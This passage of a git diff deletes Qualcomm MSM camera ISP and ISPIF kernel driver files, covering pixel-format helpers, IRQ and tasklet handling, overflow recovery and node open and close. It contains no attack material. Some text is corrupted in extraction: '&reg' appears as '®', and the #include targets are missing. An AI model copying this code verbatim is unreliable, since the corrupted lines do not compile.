cfg_data, proc_cmd->cmd_len); - - if (copy_to_user(proc_cmd->cfg_data, - cfg_data, proc_cmd->cmd_len)) { - rc = -EFAULT; - goto copy_cmd_failed; - } - -copy_cmd_failed: - kfree(cfg_data); -cfg_data_failed: - kfree(reg_cfg_cmd); -reg_cfg_failed: - return rc; -} - -int msm_isp_proc_cmd_list(struct vfe_device *vfe_dev, void *arg) -{ - int rc = 0; - struct msm_vfe_cfg_cmd_list *proc_cmd = - (struct msm_vfe_cfg_cmd_list *)arg; - struct msm_vfe_cfg_cmd_list cmd, cmd_next; - - if (!vfe_dev || !arg) { - pr_err("%s:%d failed: vfe_dev %p arg %p", __func__, __LINE__, - vfe_dev, arg); - return -EINVAL; - } - - rc = msm_isp_proc_cmd(vfe_dev, &proc_cmd->cfg_cmd); - if (rc < 0) - pr_err("%s:%d failed: rc %d", __func__, __LINE__, rc); - - cmd = *proc_cmd; - - while (cmd.next) { - if (cmd.next_size != sizeof(struct msm_vfe_cfg_cmd_list)) { - pr_err("%s:%d failed: next size %u != expected %zu\n", - __func__, __LINE__, cmd.next_size, - sizeof(struct msm_vfe_cfg_cmd_list)); - break; - } - if (copy_from_user(&cmd_next, (void __user *)cmd.next, - sizeof(struct msm_vfe_cfg_cmd_list))) { - rc = -EFAULT; - continue; - } - - rc = msm_isp_proc_cmd(vfe_dev, &cmd_next.cfg_cmd); - if (rc < 0) - pr_err("%s:%d failed: rc %d", __func__, __LINE__, rc); - - cmd = cmd_next; - } - return rc; -} - -int msm_isp_send_event(struct vfe_device *vfe_dev, - uint32_t event_type, - struct msm_isp_event_data *event_data) -{ - struct v4l2_event isp_event; - memset(&isp_event, 0, sizeof(struct v4l2_event)); - isp_event.id = 0; - isp_event.type = event_type; - memcpy(&isp_event.u.data[0], event_data, - sizeof(struct msm_isp_event_data)); - v4l2_event_queue(vfe_dev->subdev.sd.devnode, &isp_event); - return 0; -} - -#define CAL_WORD(width, M, N) ((width * M + N - 1) / N) - -int msm_isp_cal_word_per_line(uint32_t output_format, - uint32_t pixel_per_line) -{ - int val = -1; - switch (output_format) { - case V4L2_PIX_FMT_SBGGR8: - case V4L2_PIX_FMT_SGBRG8: - case V4L2_PIX_FMT_SGRBG8: - case V4L2_PIX_FMT_SRGGB8: - case V4L2_PIX_FMT_QBGGR8: - case V4L2_PIX_FMT_QGBRG8: - case V4L2_PIX_FMT_QGRBG8: - case V4L2_PIX_FMT_QRGGB8: - case V4L2_PIX_FMT_JPEG: - case V4L2_PIX_FMT_META: - val = CAL_WORD(pixel_per_line, 1, 8); - break; - case V4L2_PIX_FMT_SBGGR10: - case V4L2_PIX_FMT_SGBRG10: - case V4L2_PIX_FMT_SGRBG10: - case V4L2_PIX_FMT_SRGGB10: - val = CAL_WORD(pixel_per_line, 5, 32); - break; - case V4L2_PIX_FMT_SBGGR12: - case V4L2_PIX_FMT_SGBRG12: - case V4L2_PIX_FMT_SGRBG12: - case V4L2_PIX_FMT_SRGGB12: - val = CAL_WORD(pixel_per_line, 3, 16); - break; - case V4L2_PIX_FMT_QBGGR10: - case V4L2_PIX_FMT_QGBRG10: - case V4L2_PIX_FMT_QGRBG10: - case V4L2_PIX_FMT_QRGGB10: - val = CAL_WORD(pixel_per_line, 1, 6); - break; - case V4L2_PIX_FMT_QBGGR12: - case V4L2_PIX_FMT_QGBRG12: - case V4L2_PIX_FMT_QGRBG12: - case V4L2_PIX_FMT_QRGGB12: - val = CAL_WORD(pixel_per_line, 1, 5); - break; - case V4L2_PIX_FMT_NV12: - case V4L2_PIX_FMT_NV21: - case V4L2_PIX_FMT_NV14: - case V4L2_PIX_FMT_NV41: - case V4L2_PIX_FMT_NV16: - case V4L2_PIX_FMT_NV61: - val = CAL_WORD(pixel_per_line, 1, 8); - break; - case V4L2_PIX_FMT_YUYV: - case V4L2_PIX_FMT_YVYU: - case V4L2_PIX_FMT_UYVY: - case V4L2_PIX_FMT_VYUY: - val = CAL_WORD(pixel_per_line, 2, 8); - break; - /*TD: Add more image format*/ - default: - msm_isp_print_fourcc_error(__func__, output_format); - break; - } - return val; -} - -enum msm_isp_pack_fmt msm_isp_get_pack_format(uint32_t output_format) -{ - switch (output_format) { - case V4L2_PIX_FMT_SBGGR8: - case V4L2_PIX_FMT_SGBRG8: - case V4L2_PIX_FMT_SGRBG8: - case V4L2_PIX_FMT_SRGGB8: - case V4L2_PIX_FMT_SBGGR10: - case V4L2_PIX_FMT_SGBRG10: - case V4L2_PIX_FMT_SGRBG10: - case V4L2_PIX_FMT_SRGGB10: - case V4L2_PIX_FMT_SBGGR12: - case V4L2_PIX_FMT_SGBRG12: - case V4L2_PIX_FMT_SGRBG12: - case V4L2_PIX_FMT_SRGGB12: - return MIPI; - case V4L2_PIX_FMT_QBGGR8: - case V4L2_PIX_FMT_QGBRG8: - case V4L2_PIX_FMT_QGRBG8: - case V4L2_PIX_FMT_QRGGB8: - case V4L2_PIX_FMT_QBGGR10: - case V4L2_PIX_FMT_QGBRG10: - case V4L2_PIX_FMT_QGRBG10: - case V4L2_PIX_FMT_QRGGB10: - case V4L2_PIX_FMT_QBGGR12: - case V4L2_PIX_FMT_QGBRG12: - case V4L2_PIX_FMT_QGRBG12: - case V4L2_PIX_FMT_QRGGB12: - return QCOM; - default: - msm_isp_print_fourcc_error(__func__, output_format); - break; - } - return -EINVAL; -} - -int msm_isp_get_bit_per_pixel(uint32_t output_format) -{ - switch (output_format) { - case V4L2_PIX_FMT_Y4: - return 4; - case V4L2_PIX_FMT_Y6: - return 6; - case V4L2_PIX_FMT_SBGGR8: - case V4L2_PIX_FMT_SGBRG8: - case V4L2_PIX_FMT_SGRBG8: - case V4L2_PIX_FMT_SRGGB8: - case V4L2_PIX_FMT_QBGGR8: - case V4L2_PIX_FMT_QGBRG8: - case V4L2_PIX_FMT_QGRBG8: - case V4L2_PIX_FMT_QRGGB8: - case V4L2_PIX_FMT_JPEG: - case V4L2_PIX_FMT_META: - case V4L2_PIX_FMT_NV12: - case V4L2_PIX_FMT_NV21: - case V4L2_PIX_FMT_NV14: - case V4L2_PIX_FMT_NV41: - case V4L2_PIX_FMT_YVU410: - case V4L2_PIX_FMT_YVU420: - case V4L2_PIX_FMT_YUYV: - case V4L2_PIX_FMT_YYUV: - case V4L2_PIX_FMT_YVYU: - case V4L2_PIX_FMT_UYVY: - case V4L2_PIX_FMT_VYUY: - case V4L2_PIX_FMT_YUV422P: - case V4L2_PIX_FMT_YUV411P: - case V4L2_PIX_FMT_Y41P: - case V4L2_PIX_FMT_YUV444: - case V4L2_PIX_FMT_YUV555: - case V4L2_PIX_FMT_YUV565: - case V4L2_PIX_FMT_YUV32: - case V4L2_PIX_FMT_YUV410: - case V4L2_PIX_FMT_YUV420: - case V4L2_PIX_FMT_GREY: - case V4L2_PIX_FMT_PAL8: - case V4L2_PIX_FMT_UV8: - case MSM_V4L2_PIX_FMT_META: - return 8; - case V4L2_PIX_FMT_SBGGR10: - case V4L2_PIX_FMT_SGBRG10: - case V4L2_PIX_FMT_SGRBG10: - case V4L2_PIX_FMT_SRGGB10: - case V4L2_PIX_FMT_QBGGR10: - case V4L2_PIX_FMT_QGBRG10: - case V4L2_PIX_FMT_QGRBG10: - case V4L2_PIX_FMT_QRGGB10: - case V4L2_PIX_FMT_Y10: - case V4L2_PIX_FMT_Y10BPACK: - return 10; - case V4L2_PIX_FMT_SBGGR12: - case V4L2_PIX_FMT_SGBRG12: - case V4L2_PIX_FMT_SGRBG12: - case V4L2_PIX_FMT_SRGGB12: - case V4L2_PIX_FMT_QBGGR12: - case V4L2_PIX_FMT_QGBRG12: - case V4L2_PIX_FMT_QGRBG12: - case V4L2_PIX_FMT_QRGGB12: - case V4L2_PIX_FMT_Y12: - return 12; - case V4L2_PIX_FMT_NV16: - case V4L2_PIX_FMT_NV61: - case V4L2_PIX_FMT_Y16: - return 16; - /*TD: Add more image format*/ - default: - msm_isp_print_fourcc_error(__func__, output_format); - return -EINVAL; - } -} - -void msm_isp_update_error_frame_count(struct vfe_device *vfe_dev) -{ - struct msm_vfe_error_info *error_info = &vfe_dev->error_info; - error_info->info_dump_frame_count++; - if (error_info->info_dump_frame_count == 0) - error_info->info_dump_frame_count++; -} - -void msm_isp_process_error_info(struct vfe_device *vfe_dev) -{ - int i; - uint8_t num_stats_type = - vfe_dev->hw_info->stats_hw_info->num_stats_type; - struct msm_vfe_error_info *error_info = &vfe_dev->error_info; - static DEFINE_RATELIMIT_STATE(rs, - DEFAULT_RATELIMIT_INTERVAL, DEFAULT_RATELIMIT_BURST); - static DEFINE_RATELIMIT_STATE(rs_stats, - DEFAULT_RATELIMIT_INTERVAL, DEFAULT_RATELIMIT_BURST); - - if (error_info->error_count == 1 || - !(error_info->info_dump_frame_count % 100)) { - vfe_dev->hw_info->vfe_ops.core_ops. - process_error_status(vfe_dev); - error_info->error_mask0 = 0; - error_info->error_mask1 = 0; - error_info->camif_status = 0; - error_info->violation_status = 0; - for (i = 0; i < MAX_NUM_STREAM; i++) { - if (error_info->stream_framedrop_count[i] != 0 && - __ratelimit(&rs)) { - pr_err("%s: Stream[%d]: dropped %d frames\n", - __func__, i, - error_info->stream_framedrop_count[i]); - error_info->stream_framedrop_count[i] = 0; - } - } - for (i = 0; i < num_stats_type; i++) { - if (error_info->stats_framedrop_count[i] != 0 && - __ratelimit(&rs_stats)) { - pr_err("%s: Stats stream[%d]: dropped %d frames\n", - __func__, i, - error_info->stats_framedrop_count[i]); - error_info->stats_framedrop_count[i] = 0; - } - } - } -} - -static inline void msm_isp_update_error_info(struct vfe_device *vfe_dev, - uint32_t error_mask0, uint32_t error_mask1) -{ - vfe_dev->error_info.error_mask0 |= error_mask0; - vfe_dev->error_info.error_mask1 |= error_mask1; - vfe_dev->error_info.error_count++; -} - -static inline void msm_isp_process_overflow_irq( - struct vfe_device *vfe_dev, - uint32_t *irq_status0, uint32_t *irq_status1) -{ - uint32_t overflow_mask; - uint32_t halt_restart_mask0, halt_restart_mask1; - uint8_t cur_stream_cnt = 0; - /*Mask out all other irqs if recovery is started*/ - if (atomic_read(&vfe_dev->error_info.overflow_state) != - NO_OVERFLOW) { - vfe_dev->hw_info->vfe_ops.core_ops. - get_halt_restart_mask(&halt_restart_mask0, - &halt_restart_mask1); - *irq_status0 &= halt_restart_mask0; - *irq_status1 &= halt_restart_mask1; - return; - } - - /*Check if any overflow bit is set*/ - vfe_dev->hw_info->vfe_ops.core_ops. - get_overflow_mask(&overflow_mask); - overflow_mask &= *irq_status1; - if (overflow_mask) { - cur_stream_cnt = msm_isp_get_curr_stream_cnt(vfe_dev); - if (cur_stream_cnt == 0) { - /* When immediate stop is issued during streamoff and - AXI bridge is halted, if write masters are still - active, then it's possible to get overflow Irq - because WM is still writing pixels into UB, but UB - has no way to write into bus. Since everything is - being stopped anyway, skip the overflow recovery */ - return; - } - pr_warn("%s: Bus overflow detected: 0x%x\n", - __func__, overflow_mask); - atomic_set(&vfe_dev->error_info.overflow_state, - OVERFLOW_DETECTED); - pr_warn("%s: Start bus overflow recovery\n", __func__); - /*Store current IRQ mask*/ - vfe_dev->hw_info->vfe_ops.core_ops.get_irq_mask(vfe_dev, - &vfe_dev->error_info.overflow_recover_irq_mask0, - &vfe_dev->error_info.overflow_recover_irq_mask1); - /*Stop CAMIF Immediately*/ - vfe_dev->hw_info->vfe_ops.core_ops. - update_camif_state(vfe_dev, DISABLE_CAMIF_IMMEDIATELY); - /*Halt the hardware & Clear all other IRQ mask*/ - vfe_dev->hw_info->vfe_ops.axi_ops.halt(vfe_dev, 0); - /*Update overflow state*/ - atomic_set(&vfe_dev->error_info.overflow_state, HALT_REQUESTED); - *irq_status0 = 0; - *irq_status1 = 0; - } -} - -static inline void msm_isp_reset_burst_count( - struct vfe_device *vfe_dev) -{ - int i; - struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; - struct msm_vfe_axi_stream *stream_info; - uint32_t framedrop_period = 0; - for (i = 0; i < MAX_NUM_STREAM; i++) { - stream_info = &axi_data->stream_info[i]; - if (stream_info->state != ACTIVE) - continue; - if (stream_info->stream_type == BURST_STREAM && - stream_info->num_burst_capture != 0) { - framedrop_period = msm_isp_get_framedrop_period( - stream_info->frame_skip_pattern); - stream_info->burst_frame_count = - stream_info->init_frame_drop + - (stream_info->num_burst_capture - 1) * - framedrop_period + 1; - msm_isp_reset_framedrop(vfe_dev, stream_info); - } - } -} - -static void msm_isp_process_overflow_recovery( - struct vfe_device *vfe_dev, - uint32_t irq_status0, uint32_t irq_status1) -{ - uint32_t halt_restart_mask0, halt_restart_mask1; - vfe_dev->hw_info->vfe_ops.core_ops. - get_halt_restart_mask(&halt_restart_mask0, - &halt_restart_mask1); - irq_status0 &= halt_restart_mask0; - irq_status1 &= halt_restart_mask1; - if (irq_status0 == 0 && irq_status1 == 0) - return; - - switch (atomic_read(&vfe_dev->error_info.overflow_state)) { - case HALT_REQUESTED: { - pr_err("%s: Halt done, Restart Pending\n", __func__); - /*Reset the hardware*/ - vfe_dev->hw_info->vfe_ops.core_ops.reset_hw(vfe_dev, - ISP_RST_SOFT, 0); - /*Update overflow state*/ - atomic_set(&vfe_dev->error_info.overflow_state, - RESTART_REQUESTED); - } - break; - case RESTART_REQUESTED: { - pr_err("%s: Restart done, Resuming\n", __func__); - /*Reset the burst stream frame drop pattern, in the - *case where bus overflow happens during the burstshot, - *the framedrop pattern might be updated after reg update - *to skip all the frames after the burst shot. The burst shot - *might not be completed due to the overflow, so the framedrop - *pattern need to change back to the original settings in order - *to recovr from overflow. - */ - msm_isp_reset_burst_count(vfe_dev); - vfe_dev->hw_info->vfe_ops.axi_ops. - reload_wm(vfe_dev, 0xFFFFFFFF); - vfe_dev->hw_info->vfe_ops.core_ops.restore_irq_mask(vfe_dev); - vfe_dev->hw_info->vfe_ops.core_ops.reg_update(vfe_dev); - memset(&vfe_dev->error_info, 0, sizeof(vfe_dev->error_info)); - atomic_set(&vfe_dev->error_info.overflow_state, NO_OVERFLOW); - vfe_dev->hw_info->vfe_ops.core_ops. - update_camif_state(vfe_dev, ENABLE_CAMIF); - } - break; - case NO_OVERFLOW: - case OVERFLOW_DETECTED: - default: - break; - } -} - -irqreturn_t msm_isp_process_irq(int irq_num, void *data) -{ - unsigned long flags; - struct msm_vfe_tasklet_queue_cmd *queue_cmd; - struct msm_vfe_tasklet_queue_cmd *regupdate_q_cmd; - struct vfe_device *vfe_dev = (struct vfe_device *) data; - uint32_t irq_status0, irq_status1; - uint32_t error_mask0, error_mask1; - struct msm_isp_timestamp ts; - - vfe_dev->hw_info->vfe_ops.irq_ops. - read_irq_status(vfe_dev, &irq_status0, &irq_status1); - if ((irq_status0 == 0) && (irq_status1 == 0)) { - pr_err_ratelimited("%s: irq_status0 & 1 are both 0\n", - __func__); - return IRQ_HANDLED; - } - msm_isp_process_overflow_irq(vfe_dev, - &irq_status0, &irq_status1); - vfe_dev->hw_info->vfe_ops.core_ops. - get_error_mask(&error_mask0, &error_mask1); - error_mask0 &= irq_status0; - error_mask1 &= irq_status1; - irq_status0 &= ~error_mask0; - irq_status1 &= ~error_mask1; - if (!vfe_dev->ignore_error && - ((error_mask0 != 0) || (error_mask1 != 0))) - msm_isp_update_error_info(vfe_dev, error_mask0, error_mask1); - - if ((irq_status0 == 0) && (irq_status1 == 0) && - (!((error_mask0 != 0) || (error_mask1 != 0)) && - vfe_dev->error_info.error_count == 1)) { - ISP_DBG("%s: error_mask0/1 & error_count are set!\n", __func__); - return IRQ_HANDLED; - } - msm_isp_get_timestamp(&ts); - spin_lock_irqsave(&vfe_dev->tasklet_lock, flags); - queue_cmd = &vfe_dev->tasklet_queue_cmd[vfe_dev->taskletq_idx]; - if (queue_cmd->cmd_used) { - pr_err_ratelimited("%s: Tasklet queue overflow: %d\n", - __func__, vfe_dev->pdev->id); - list_del(&queue_cmd->list); - } else { - atomic_add(1, &vfe_dev->irq_cnt); - } - queue_cmd->vfeInterruptStatus0 = irq_status0; - queue_cmd->vfeInterruptStatus1 = irq_status1; - queue_cmd->ts = ts; - queue_cmd->cmd_used = 1; - vfe_dev->taskletq_idx = - (vfe_dev->taskletq_idx + 1) % MSM_VFE_TASKLETQ_SIZE; - list_add_tail(&queue_cmd->list, &vfe_dev->tasklet_q); - if (vfe_dev->hw_info->vfe_ops. - core_ops.get_regupdate_status(irq_status0, irq_status1)) { - regupdate_q_cmd = &vfe_dev-> - tasklet_regupdate_queue_cmd[vfe_dev-> - taskletq_reg_update_idx]; - if (regupdate_q_cmd->cmd_used) { - pr_err_ratelimited("%s: Tasklet Overflow", __func__); - list_del(®update_q_cmd->list); - } else { - atomic_add(1, &vfe_dev->reg_update_cnt); - } - regupdate_q_cmd->vfeInterruptStatus0 = irq_status0; - regupdate_q_cmd->vfeInterruptStatus1 = irq_status1; - regupdate_q_cmd->ts = ts; - regupdate_q_cmd->cmd_used = 1; - vfe_dev->taskletq_reg_update_idx = - (vfe_dev->taskletq_reg_update_idx + 1) % - MSM_VFE_TASKLETQ_SIZE; - list_add_tail(®update_q_cmd->list, - &vfe_dev->tasklet_regupdate_q); - } - spin_unlock_irqrestore(&vfe_dev->tasklet_lock, flags); - tasklet_schedule(&vfe_dev->vfe_tasklet); - return IRQ_HANDLED; -} - -void msm_isp_do_tasklet(unsigned long data) -{ - unsigned long flags; - struct vfe_device *vfe_dev = (struct vfe_device *) data; - struct msm_vfe_irq_ops *irq_ops = &vfe_dev->hw_info->vfe_ops.irq_ops; - struct msm_vfe_tasklet_queue_cmd *queue_cmd; - struct msm_vfe_tasklet_queue_cmd *reg_update_q_cmd; - struct msm_isp_timestamp ts; - uint32_t irq_status0, irq_status1; - while (atomic_read(&vfe_dev->irq_cnt) || - (atomic_read(&vfe_dev->reg_update_cnt))) { - if (atomic_read(&vfe_dev->irq_cnt)) { - spin_lock_irqsave(&vfe_dev->tasklet_lock, flags); - queue_cmd = list_first_entry(&vfe_dev->tasklet_q, - struct msm_vfe_tasklet_queue_cmd, list); - if (!queue_cmd) { - atomic_set(&vfe_dev->irq_cnt, 0); - spin_unlock_irqrestore(&vfe_dev->tasklet_lock, - flags); - continue; - } - atomic_sub(1, &vfe_dev->irq_cnt); - list_del(&queue_cmd->list); - queue_cmd->cmd_used = 0; - irq_status0 = queue_cmd->vfeInterruptStatus0; - irq_status1 = queue_cmd->vfeInterruptStatus1; - ts = queue_cmd->ts; - spin_unlock_irqrestore(&vfe_dev->tasklet_lock, flags); - if (atomic_read(&vfe_dev->error_info.overflow_state) != - NO_OVERFLOW) { - pr_err_ratelimited("There is Overflow, kicking up recovery !!!!"); - msm_isp_process_overflow_recovery(vfe_dev, - irq_status0, irq_status1); - continue; - } - ISP_DBG("%s: status0: 0x%x status1: 0x%x\n", - __func__, irq_status0, irq_status1); - irq_ops->process_reset_irq(vfe_dev, - irq_status0, irq_status1); - irq_ops->process_halt_irq(vfe_dev, - irq_status0, irq_status1); - irq_ops->process_camif_irq(vfe_dev, - irq_status0, irq_status1, &ts); - irq_ops->process_axi_irq(vfe_dev, - irq_status0, irq_status1, &ts); - irq_ops->process_stats_irq(vfe_dev, - irq_status0, irq_status1, &ts); - msm_isp_process_error_info(vfe_dev); - } - if (atomic_read(&vfe_dev->reg_update_cnt)) { - spin_lock_irqsave(&vfe_dev->tasklet_lock, flags); - reg_update_q_cmd = list_first_entry( - &vfe_dev->tasklet_regupdate_q, - struct msm_vfe_tasklet_queue_cmd, list); - if (!reg_update_q_cmd) { - atomic_set(&vfe_dev->reg_update_cnt, 0); - spin_unlock_irqrestore(&vfe_dev->tasklet_lock, - flags); - continue; - } - atomic_sub(1, &vfe_dev->reg_update_cnt); - list_del(®_update_q_cmd->list); - reg_update_q_cmd->cmd_used = 0; - irq_status0 = reg_update_q_cmd->vfeInterruptStatus0; - irq_status1 = reg_update_q_cmd->vfeInterruptStatus1; - ts = reg_update_q_cmd->ts; - spin_unlock_irqrestore(&vfe_dev->tasklet_lock, flags); - if (atomic_read(&vfe_dev->error_info.overflow_state) != - NO_OVERFLOW) { - continue; - } - irq_ops->process_reg_update(vfe_dev, - irq_status0, irq_status1, &ts); - } - } -} - -int msm_isp_set_src_state(struct vfe_device *vfe_dev, void *arg) -{ - struct msm_vfe_axi_src_state *src_state = arg; - if (src_state->input_src >= VFE_SRC_MAX) - return -EINVAL; - vfe_dev->axi_data.src_info[src_state->input_src].active = - src_state->src_active; - return 0; -} - -int msm_isp_open_node(struct v4l2_subdev *sd, struct v4l2_subdev_fh *fh) -{ - struct vfe_device *vfe_dev = v4l2_get_subdevdata(sd); - long rc; - ISP_DBG("%s\n", __func__); - - mutex_lock(&vfe_dev->realtime_mutex); - mutex_lock(&vfe_dev->core_mutex); - - if (vfe_dev->vfe_open_cnt++) { - mutex_unlock(&vfe_dev->core_mutex); - mutex_unlock(&vfe_dev->realtime_mutex); - return 0; - } - - if (vfe_dev->hw_info->vfe_ops.core_ops.init_hw(vfe_dev) < 0) { - pr_err("%s: init hardware failed\n", __func__); - vfe_dev->vfe_open_cnt--; - mutex_unlock(&vfe_dev->core_mutex); - mutex_unlock(&vfe_dev->realtime_mutex); - return -EBUSY; - } - - rc = vfe_dev->hw_info->vfe_ops.core_ops.reset_hw(vfe_dev, - ISP_RST_HARD, 1); - if (rc <= 0) { - pr_err("%s: reset timeout\n", __func__); - vfe_dev->vfe_open_cnt--; - vfe_dev->hw_info->vfe_ops.core_ops.release_hw(vfe_dev); - mutex_unlock(&vfe_dev->core_mutex); - mutex_unlock(&vfe_dev->realtime_mutex); - return -EINVAL; - } - vfe_dev->vfe_hw_version = msm_camera_io_r(vfe_dev->vfe_base); - ISP_DBG("%s: HW Version: 0x%x\n", __func__, vfe_dev->vfe_hw_version); - - vfe_dev->hw_info->vfe_ops.core_ops.init_hw_reg(vfe_dev); - - vfe_dev->buf_mgr->ops->buf_mgr_init(vfe_dev->buf_mgr, "msm_isp", 28); - - memset(&vfe_dev->axi_data, 0, sizeof(struct msm_vfe_axi_shared_data)); - memset(&vfe_dev->stats_data, 0, - sizeof(struct msm_vfe_stats_shared_data)); - memset(&vfe_dev->error_info, 0, sizeof(vfe_dev->error_info)); - vfe_dev->axi_data.hw_info = vfe_dev->hw_info->axi_hw_info; - vfe_dev->taskletq_idx = 0; - vfe_dev->vt_enable = 0; - mutex_unlock(&vfe_dev->core_mutex); - mutex_unlock(&vfe_dev->realtime_mutex); - return 0; -} - -#ifdef CONFIG_MSM_AVTIMER -void msm_isp_end_avtimer(void) -{ - avcs_core_disable_power_collapse(0); -} -#else -void msm_isp_end_avtimer(void) -{ - pr_err("AV Timer is not supported\n"); -} -#endif - -int msm_isp_close_node(struct v4l2_subdev *sd, struct v4l2_subdev_fh *fh) -{ - long rc; - struct vfe_device *vfe_dev = v4l2_get_subdevdata(sd); - ISP_DBG("%s\n", __func__); - mutex_lock(&vfe_dev->realtime_mutex); - mutex_lock(&vfe_dev->core_mutex); - - if (!vfe_dev->vfe_open_cnt) { - pr_err("%s invalid state open cnt %d\n", __func__, - vfe_dev->vfe_open_cnt); - mutex_unlock(&vfe_dev->core_mutex); - mutex_unlock(&vfe_dev->realtime_mutex); - return -EINVAL; - } - - if (--vfe_dev->vfe_open_cnt) { - mutex_unlock(&vfe_dev->core_mutex); - mutex_unlock(&vfe_dev->realtime_mutex); - return 0; - } - - rc = vfe_dev->hw_info->vfe_ops.axi_ops.halt(vfe_dev, 1); - if (rc <= 0) - pr_err("%s: halt timeout rc=%ld\n", __func__, rc); - - vfe_dev->buf_mgr->ops->buf_mgr_deinit(vfe_dev->buf_mgr); - vfe_dev->hw_info->vfe_ops.core_ops.release_hw(vfe_dev); - if (vfe_dev->vt_enable) { - msm_isp_end_avtimer(); - vfe_dev->vt_enable = 0; - } - mutex_unlock(&vfe_dev->core_mutex); - mutex_unlock(&vfe_dev->realtime_mutex); - return 0; -} diff --git a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_util.h b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_util.h deleted file mode 100644 index 57b23a20ee070..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_util.h +++ /dev/null @@ -1,80 +0,0 @@ -/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ -#ifndef __MSM_ISP_UTIL_H__ -#define __MSM_ISP_UTIL_H__ - -#include "msm_isp.h" -#include - -/* #define CONFIG_MSM_ISP_DBG 1 */ - -#ifdef CONFIG_MSM_ISP_DBG -#define ISP_DBG(fmt, args...) printk(fmt, ##args) -#else -#define ISP_DBG(fmt, args...) pr_debug(fmt, ##args) -#endif - -#define ALT_VECTOR_IDX(x) {x = 3 - x; } -struct msm_isp_bandwidth_info { - uint32_t active; - uint64_t ab; - uint64_t ib; -}; - -enum msm_isp_hw_client { - ISP_VFE0, - ISP_VFE1, - ISP_CPP, - MAX_ISP_CLIENT, -}; - -struct msm_isp_bandwidth_mgr { - uint32_t bus_client; - uint32_t bus_vector_active_idx; - uint32_t use_count; - struct msm_isp_bandwidth_info client_info[MAX_ISP_CLIENT]; -}; - -uint32_t msm_isp_get_framedrop_period( - enum msm_vfe_frame_skip_pattern frame_skip_pattern); - -int msm_isp_init_bandwidth_mgr(enum msm_isp_hw_client client); -int msm_isp_update_bandwidth(enum msm_isp_hw_client client, - uint64_t ab, uint64_t ib); -void msm_isp_deinit_bandwidth_mgr(enum msm_isp_hw_client client); - -int msm_isp_subscribe_event(struct v4l2_subdev *sd, struct v4l2_fh *fh, - struct v4l2_event_subscription *sub); - -int msm_isp_unsubscribe_event(struct v4l2_subdev *sd, struct v4l2_fh *fh, - struct v4l2_event_subscription *sub); - -int msm_isp_proc_cmd(struct vfe_device *vfe_dev, void *arg); -int msm_isp_send_event(struct vfe_device *vfe_dev, - uint32_t type, struct msm_isp_event_data *event_data); -int msm_isp_cal_word_per_line(uint32_t output_format, - uint32_t pixel_per_line); -int msm_isp_get_bit_per_pixel(uint32_t output_format); -enum msm_isp_pack_fmt msm_isp_get_pack_format(uint32_t output_format); -irqreturn_t msm_isp_process_irq(int irq_num, void *data); -int msm_isp_set_src_state(struct vfe_device *vfe_dev, void *arg); -void msm_isp_do_tasklet(unsigned long data); -void msm_isp_update_error_frame_count(struct vfe_device *vfe_dev); -void msm_isp_process_error_info(struct vfe_device *vfe_dev); -int msm_isp_open_node(struct v4l2_subdev *sd, struct v4l2_subdev_fh *fh); -int msm_isp_close_node(struct v4l2_subdev *sd, struct v4l2_subdev_fh *fh); -long msm_isp_ioctl(struct v4l2_subdev *sd, unsigned int cmd, void *arg); -int msm_isp_proc_cmd_list(struct vfe_device *vfe_dev, void *arg); -int msm_isp_get_clk_info(struct vfe_device *vfe_dev, - struct platform_device *pdev, struct msm_cam_clk_info *vfe_clk_info); - -#endif /* __MSM_ISP_UTIL_H__ */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/ispif/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/ispif/Makefile deleted file mode 100644 index f49a0a4392116..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/ispif/Makefile +++ /dev/null @@ -1,3 +0,0 @@ -ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2 -ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/sensor/io -obj-$(CONFIG_MSM_CSID) += msm_ispif.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/ispif/msm_ispif.c b/drivers/media/platform/msm/camera_wt88047_v2/ispif/msm_ispif.c deleted file mode 100644 index 744f882136dcf..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/ispif/msm_ispif.c +++ /dev/null @@ -1,1368 +0,0 @@ -/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include "msm_ispif.h" -#include "msm.h" -#include "msm_sd.h" -#include "msm_camera_io_util.h" - -#ifdef CONFIG_MSM_ISPIF_V1 -#include "msm_ispif_hwreg_v1.h" -#else -#include "msm_ispif_hwreg_v2.h" -#endif - -#define V4L2_IDENT_ISPIF 50001 -#define MSM_ISPIF_DRV_NAME "msm_ispif" - -#define ISPIF_INTF_CMD_DISABLE_FRAME_BOUNDARY 0x00 -#define ISPIF_INTF_CMD_ENABLE_FRAME_BOUNDARY 0x01 -#define ISPIF_INTF_CMD_DISABLE_IMMEDIATELY 0x02 - -#define ISPIF_TIMEOUT_SLEEP_US 1000 -#define ISPIF_TIMEOUT_ALL_US 1000000 - -#undef CDBG -#ifdef CONFIG_MSMB_CAMERA_DEBUG -#define CDBG(fmt, args...) pr_debug(fmt, ##args) -#else -#define CDBG(fmt, args...) do { } while (0) -#endif - -static void msm_ispif_io_dump_reg(struct ispif_device *ispif) -{ - if (!ispif->enb_dump_reg) - return; - msm_camera_io_dump(ispif->base, 0x250); -} - - -static inline int msm_ispif_is_intf_valid(uint32_t csid_version, - uint8_t intf_type) -{ - return (csid_version <= CSID_VERSION_V22 && intf_type != VFE0) ? - false : true; -} - -static struct msm_cam_clk_info 